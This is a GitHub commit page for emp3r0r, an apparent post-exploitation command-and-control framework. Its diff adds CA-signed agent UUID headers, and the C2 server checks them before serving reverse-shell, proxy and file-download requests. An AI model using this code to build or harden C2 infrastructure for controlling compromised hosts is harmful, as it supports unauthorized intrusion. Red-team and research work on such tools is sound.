Skip to content

Commit

Permalink
fix: agent authentication
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Sep 23, 2024
1 parent f1ccbe3 commit a2386e2
Show file tree
Hide file tree
Showing 4 changed files with 51 additions and 7 deletions.
7 changes: 6 additions & 1 deletion core/lib/agent/poll.go
Original file line number Diff line number Diff line change
Expand Up @@ -104,7 +104,12 @@ func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel conte
// use h2conn for duplex tunnel
ctx, cancel = context.WithCancel(context.Background())

h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient}
h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient,
Header: http.Header{
"AgentUUID": {RuntimeConfig.AgentUUID},
"AgentUUIDSig": {RuntimeConfig.AgentUUIDSig},
},
}
log.Printf("ConnectCC: connecting to %s", url)
go func() {
conn, resp, err = h2.Connect(ctx, url)
Expand Down
9 changes: 9 additions & 0 deletions core/lib/cc/buildAgent.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
package cc

import (
"encoding/base64"
"encoding/json"
"fmt"
"os"
Expand Down Expand Up @@ -160,6 +161,14 @@ func InitConfigFile(cc_host string) (err error) {
RuntimeConfig.IndicatorWaitMax = 130
RuntimeConfig.AutoProxyTimeout = 0 // disable timeout by default, leave it to the OS

// sign agent UUID
sig, err := tun.SignWithCAKey([]byte(RuntimeConfig.AgentUUID))
if err != nil {
return fmt.Errorf("failed to sign agent UUID: %v", err)
}
// base64 encode the sig
RuntimeConfig.AgentUUIDSig = base64.URLEncoding.EncodeToString(sig)

return save_config_json()
}

Expand Down
39 changes: 34 additions & 5 deletions core/lib/cc/server.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,9 @@

package cc


import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
"io"
Expand Down Expand Up @@ -100,14 +100,40 @@ func TLSServer() {
func dispatcher(wrt http.ResponseWriter, req *http.Request) {
vars := mux.Vars(req)

// H2Conn for reverse shell and proxy
var rshellConn, proxyConn emp3r0r_data.H2Conn
RShellStream.H2x = &rshellConn
ProxyStream.H2x = &proxyConn

token := vars["token"]
// POST vars
var path string
path = req.URL.Query().Get("file_to_download")
// vars
if vars["api"] == "" || vars["token"] == "" {
CliPrintDebug("Invalid request: %v, no api/token found, abort", req)
wrt.WriteHeader(http.StatusBadRequest)
return
}

// verify agent uuid, is it signed by our CA?
agent_uuid := req.Header.Get("AgentUUID")
agent_sig, err := base64.URLEncoding.DecodeString(req.Header.Get("AgentUUIDSig"))
if err != nil {
CliPrintDebug("Failed to decode agent sig: %v, abort", err)
wrt.WriteHeader(http.StatusBadRequest)
return
}
isValid, err := tun.VerifySignatureWithCA([]byte(agent_uuid), agent_sig)
if err != nil {
CliPrintDebug("Failed to verify agent uuid: %v", err)
}
if !isValid {
CliPrintDebug("Invalid agent uuid, refusing request")
wrt.WriteHeader(http.StatusBadRequest)
return
}
CliPrintDebug("Header: %v", req.Header)
CliPrintDebug("Got a request: api=%s, token=%s, agent_uuid=%s, sig=%x",
vars["api"], vars["token"], agent_uuid, agent_sig)

token := vars["token"] // this will be used to authenticate some requests

api := tun.WebRoot + "/" + vars["api"]
switch api {
Expand All @@ -129,6 +155,9 @@ func dispatcher(wrt http.ResponseWriter, req *http.Request) {
wrt.WriteHeader(http.StatusBadRequest)

case tun.FileAPI:
var path string
path = req.URL.Query().Get("file_to_download")

if !IsAgentExistByTag(token) {
wrt.WriteHeader(http.StatusBadRequest)
return
Expand Down
3 changes: 2 additions & 1 deletion core/lib/data/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,8 @@ type Config struct {
SocketName string `json:"socket"` // agent socket, use this to check agent status
AgentRoot string `json:"agent_root"` // Where to store agent runtime files, default to /tmp
UtilsPath string `json:"utils_path"` // where to store `vaccine` files
AgentUUID string `json:"agent_uuid"` // UUID of agent
AgentUUID string `json:"agent_uuid"` // UUID of agent, used to verify agent
AgentUUIDSig string `json:"agent_uuid_sig"` // UUID of agent signed by CA
AgentTag string `json:"agent_tag"` // generated from UUID, will be used to identidy agents
Timeout int `json:"timeout"` // wait until this amount of milliseconds to re-connect to C2
}

0 comments on commit a2386e2

Please sign in to comment.